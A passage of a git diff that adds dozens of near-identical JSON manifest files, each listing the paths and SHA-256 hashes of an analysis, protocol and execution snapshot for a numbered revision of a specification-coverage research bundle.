b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1179-v30.json new file mode 100644 index 000000000..da6caa11f --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1179-v30.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v30.json", + "analysis_sha256": "7fd1e7c9d29461c41b9c49b7e497176b21e88c8d7b4377df5b7797718303f5aa", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "30.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v30.json", + "snapshot_sha256": "51287cc8ed63a2abe50e7d8976e3ef9e18b2523423fe9cc42545a5f5d85e66cf" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1183-v31.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1183-v31.json new file mode 100644 index 000000000..1db4f7a7f --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1183-v31.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v31.json", + "analysis_sha256": "94173144193167c4c114f47b919abb3f42acc35d29c3e8ca2993b7a53aa2d8fe", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "31.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v31.json", + "snapshot_sha256": "32c08c7d94215b58c2c8268ed3a29259b626d288321ee3a218903d21aa444928" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1186-v33.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1186-v33.json new file mode 100644 index 000000000..d57d026ac --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1186-v33.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v33.json", + "analysis_sha256": "1f7e2f90549c4827d74606d6144ae6beff6f67e058de6d7c9675d1f4540002e5", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "33.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v33.json", + "snapshot_sha256": "a887845cb8c4564e5e453e1dc7f148c79aa481186df771fc4fa2f9be9bbbb05e" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1187-v34.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1187-v34.json new file mode 100644 index 000000000..0ac09f67e --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1187-v34.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v34.json", + "analysis_sha256": "2dbfd970995e51f46ae7d4e2f04f922b2d7da86f8dae9314b8459299fdc87a22", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "34.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v34.json", + "snapshot_sha256": "31094b4053cfce3a2cfa7b83a3b4f4f107787fd431a1d2c6db958dad00e7e124" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1189-v35.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1189-v35.json new file mode 100644 index 000000000..76bd567b3 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1189-v35.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v35.json", + "analysis_sha256": "8b73a37b99e18ce7134097e4926ed1cff3994ae7133c1c76dfe165aa1ecdba60", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "35.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v35.json", + "snapshot_sha256": "c6ffabf66b82f72e758d7b1edcc27021f5899102d7dddc6c2664ff0f50ccaab6" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1223-v28.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1223-v28.json new file mode 100644 index 000000000..197a41a95 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1223-v28.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v28.json", + "analysis_sha256": "20693a3300ed2e75621cee25fd8b93f659f37db78831632ae83817a737632596", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "28.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v28.json", + "snapshot_sha256": "f57dea6fb5e0005f5ff8cfb61e30596e8549427cb27ae7ae13e4fcc2885b5e48" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v18.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v18.json new file mode 100644 index 000000000..0b4f1ef1c --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v18.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v18.json", + "analysis_sha256": "d11141fa5995cd424ffc311854a41bf735e181d8dee3a68e71b63e0f5a471624", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "18.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v18.json", + "snapshot_sha256": "e2766a3c40ee74df26c0098257c82642123d3211429ebb4a2dfc290874044ce0" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v19.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v19.json new file mode 100644 index 000000000..e14bdf3fd --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1237-v19.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v19.json", + "analysis_sha256": "7974d870005036e000d87fc3d62b5cf2e0da190c19a3c7f6ed654a39d4e688be", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "19.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v19.json", + "snapshot_sha256": "fac96da1f9b551c171227103cd008a849579fcaaf84954cdfe3dad0dd44d89c8" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1241-v17.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1241-v17.json new file mode 100644 index 000000000..75638a008 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1241-v17.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v17.json", + "analysis_sha256": "5498c6fc824465150183f836ebddebaa6d8d00945b6d734c6c83e35fef942781", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "17.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v17.json", + "snapshot_sha256": "300e16293f3855c38979ba6c5aff297ce740f605ec4136290106a15d6798fe53" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v22.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v22.json new file mode 100644 index 000000000..af236860c --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v22.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v22.json", + "analysis_sha256": "89c141a13c912d151ed76771527f7f11534b334a326633b7565433a106cba305", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "22.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v22.json", + "snapshot_sha256": "f2f5ef09f055ca2be6a2036a3d1feb1b4bc81610f55b8a93ef4138a3108b631c" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v23.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v23.json new file mode 100644 index 000000000..f4a884cdc --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v23.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v23.json", + "analysis_sha256": "a4e9159243e34a2377ff7661690ebd180c8af17deffba0d7c934bde09bd1a4a5", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "23.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v23.json", + "snapshot_sha256": "ac730a077148789458f292b2e0afd8faceaa30f34ec6166e1ce6970860866ff8" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v24.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v24.json new file mode 100644 index 000000000..9d628b447 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1242-v24.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v24.json", + "analysis_sha256": "f7e80f7e5d0ec09755f7222c591846b9b37ad7a8f4664b5641d38602ba6f545b", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "24.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v24.json", + "snapshot_sha256": "83129f4e2a23d3928ab4874e9cf84151d2930aa8e697c77b73c7ec00a3104d40" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1297-v29.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1297-v29.json new file mode 100644 index 000000000..afc18be82 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1297-v29.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v29.json", + "analysis_sha256": "c807535ed2d05d19c55b64c176c417fcd98dde7fcd8202ee2abfa742f6a3f5a3", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "29.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v29.json", + "snapshot_sha256": "ba252c00b1c2b534dc0bd648339749bd414703fb6e05bbf0d6ffc0ab76f1dcc9" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1299-v27.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1299-v27.json new file mode 100644 index 000000000..9066d707b --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1299-v27.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v27.json", + "analysis_sha256": "8e0a63696c3eb112afca050a1d88d8f5c6ea5c60d036b7e85626f0c80a3817ef", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "27.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v27.json", + "snapshot_sha256": "79f4b81823aadad9bace5f2a97aaeb6262f131b9816ddf4e9cd5e9ed6169d2e5" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1338-v41.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1338-v41.json new file mode 100644 index 000000000..bc648d350 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1338-v41.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v41.json", + "analysis_sha256": "ff8cdaf3e039cdc5fe794bac54b83ccd686275939b49a4be9d3e50af0b4ddca7", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "41.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v41.json", + "snapshot_sha256": "21a9b760be6bd3491d81b427d48344553f305f72ad773d5caa72ac478e6ed2e1" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1355-v53.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1355-v53.json new file mode 100644 index 000000000..ed0ba9f30 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1355-v53.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v53.json", + "analysis_sha256": "3b5b0b0faf6909793c6658e90f99ac3866347be1b4b9730772839fcea3da6c16", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "53.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v53.json", + "snapshot_sha256": "997e0d0cd09c17b1e661ba787c21cdcc0d8a7009fda68915c2343d651274a9bb" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1357-v45.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1357-v45.json new file mode 100644 index 000000000..66ab04577 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1357-v45.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v45.json", + "analysis_sha256": "6cd6c830ac5286d27d0c7cb2872e6de27bd5abad68fe3d67d4e38ed433e4f12d", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "45.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v45.json", + "snapshot_sha256": "ef01b1182eff55e4f12317611c5415caefac1b666fefd9de83ea5b05c4874c72" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1358-v46.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1358-v46.json new file mode 100644 index 000000000..95995dba3 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1358-v46.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v46.json", + "analysis_sha256": "8ac5f682385af93cd79f61f856c1ada4c70db139f0221b0b7373441739279c6d", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "46.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v46.json", + "snapshot_sha256": "9cfbbb286d62e632b9a87d65962c59ac07625514af3d9ed9e240445c532c5364" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1358-v47.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1358-v47.json new file mode 100644 index 000000000..cd2a5e148 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1358-v47.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v47.json", + "analysis_sha256": "e23c34350a4f50bbba7ebd91ae9d64ab6d556891e458f7204e574fd36eec7ee9", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "47.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v47.json", + "snapshot_sha256": "122aa74e5da0e017c6cc4610f62afb5e0ea50543f2c9f2747232b09f7f8f77f7" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1359-v64.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1359-v64.json new file mode 100644 index 000000000..f9b819caa --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1359-v64.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v64.json", + "analysis_sha256": "5f88de9259bcf2a5d725900273471f0aec9a3c8dbd57c5d34ccb2cfc4f0bbcba", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "64.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v64.json", + "snapshot_sha256": "94635ed279530648cd31b5eac4a6043c1d710abf326adeeb88ab9cf6afb93e95" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v48.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v48.json new file mode 100644 index 000000000..f7a8c45d4 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v48.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v48.json", + "analysis_sha256": "de5e9c9532b4d6a040aec8b5cbaba0823604692fe8f3ed19fa77dbcc873a5e8b", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "48.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v48.json", + "snapshot_sha256": "47cdde373b2f73519902cfdc987628b8e7cda3dbc9618075bf9a6d87f60064ad" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v49.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v49.json new file mode 100644 index 000000000..4127fc198 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v49.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v49.json", + "analysis_sha256": "f827139073976f875e7cfac6abe245706dd9551cf85b5e0ca5571f2996101aa4", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "49.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v49.json", + "snapshot_sha256": "1b8f9a2e32a2d39bb94086996b2598ab9a14a4ebc07f078f5187885ac718803f" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v50.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v50.json new file mode 100644 index 000000000..cac3f9011 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v50.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v50.json", + "analysis_sha256": "b3c0523f237470dc8fd004fd40d409534f2c04b505ce2991e38c920c59f7ec0a", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "50.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v50.json", + "snapshot_sha256": "309687736a76a00b4e2137a3e3a486b20842407b4e19e213c60c7f33d956fc3a" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v51.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v51.json new file mode 100644 index 000000000..30d48baa7 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v51.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v51.json", + "analysis_sha256": "e3ea6572a1e5a7bb47f799d672351c4c681414e9cb45b00539a1d70ae58ed47a", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "51.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v51.json", + "snapshot_sha256": "804c570e636aa8a7f5e04372e2131c55dd3d4a102e8d7929d024d7411e36eaf7" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v52.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v52.json new file mode 100644 index 000000000..6dac30ae7 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1360-v52.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v52.json", + "analysis_sha256": "bcea27baf1f7b5699fc84c97cb2edc753790a99e1806888035f443f0f46d5ac1", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "52.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v52.json", + "snapshot_sha256": "08034d5860dcc3b2a40221aac5695454506dac4e09a752122380262198d8a5b0" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1361-v55.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1361-v55.json new file mode 100644 index 000000000..8ab9d8ef8 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1361-v55.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v55.json", + "analysis_sha256": "3270d158a04d1144943f2db055779ba1d57ae9f39f398341c07c5f407851461f", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "55.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v55.json", + "snapshot_sha256": "f9dd4db92b7578cd250ae6608411b369513551266d051dca2e29763e7c9bca52" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v56.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v56.json new file mode 100644 index 000000000..22c8141e6 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v56.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v56.json", + "analysis_sha256": "7a3d579dbae48c2b75f2aa60df7526814e61bd6c8335f71e8d629c47a4b167cb", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "56.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v56.json", + "snapshot_sha256": "6cd07a2e419e855116f159b5ec43e47a59d2db8936a55b8d32b76452c303671d" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v57.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v57.json new file mode 100644 index 000000000..1979df581 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v57.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v57.json", + "analysis_sha256": "ad43af82f528446b0cb033a05b79c1640e9c95fe101e3b25f537cc4d78ce92e1", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "57.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v57.json", + "snapshot_sha256": "5837c90f9ad42b0624b6bd787273c21c02dcd9598b5283afcdc72842f8ea170b" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v58.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v58.json new file mode 100644 index 000000000..e8cd29813 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v58.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v58.json", + "analysis_sha256": "c578bfa5a588a78dd2890b4aaccd0f62f6471cff99a67762242face7613aff72", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "58.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v58.json", + "snapshot_sha256": "5585a43c59546fb4ec3664e0f0a73d716dea57a860d1d9f5192eaeb975a0ccef" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v59.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v59.json new file mode 100644 index 000000000..8be684bd1 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v59.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v59.json", + "analysis_sha256": "7fb3ae4f40c07e0ecce7e0ec6ffa239932d7435d0435910681519ce5821e1312", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "59.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v59.json", + "snapshot_sha256": "ed414097cf3d04d62f523c2c58c44a2cea77de2a0af8e6d0042e4d6018846778" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1389-v54.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1389-v54.json new file mode 100644 index 000000000..54a91f160 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1389-v54.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v54.json", + "analysis_sha256": "e0485e76a0a8764c36a4681495e5badf21dc11bff09c5c1054bef313ce668226", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "54.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v54.json", + "snapshot_sha256": "fba0d90bfe70ce028ad7be7c31df8d5be9d4562e563bd2a4bbacea44ce4dfb56" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1401-v66.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1401-v66.json new file mode 100644 index 000000000..094765f73 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1401-v66.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v66.json", + "analysis_sha256": "8410282e4ae5b6ffc590dcb8c447b33ef9ee66ac687c3318b7b2d3b84af0d237", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": 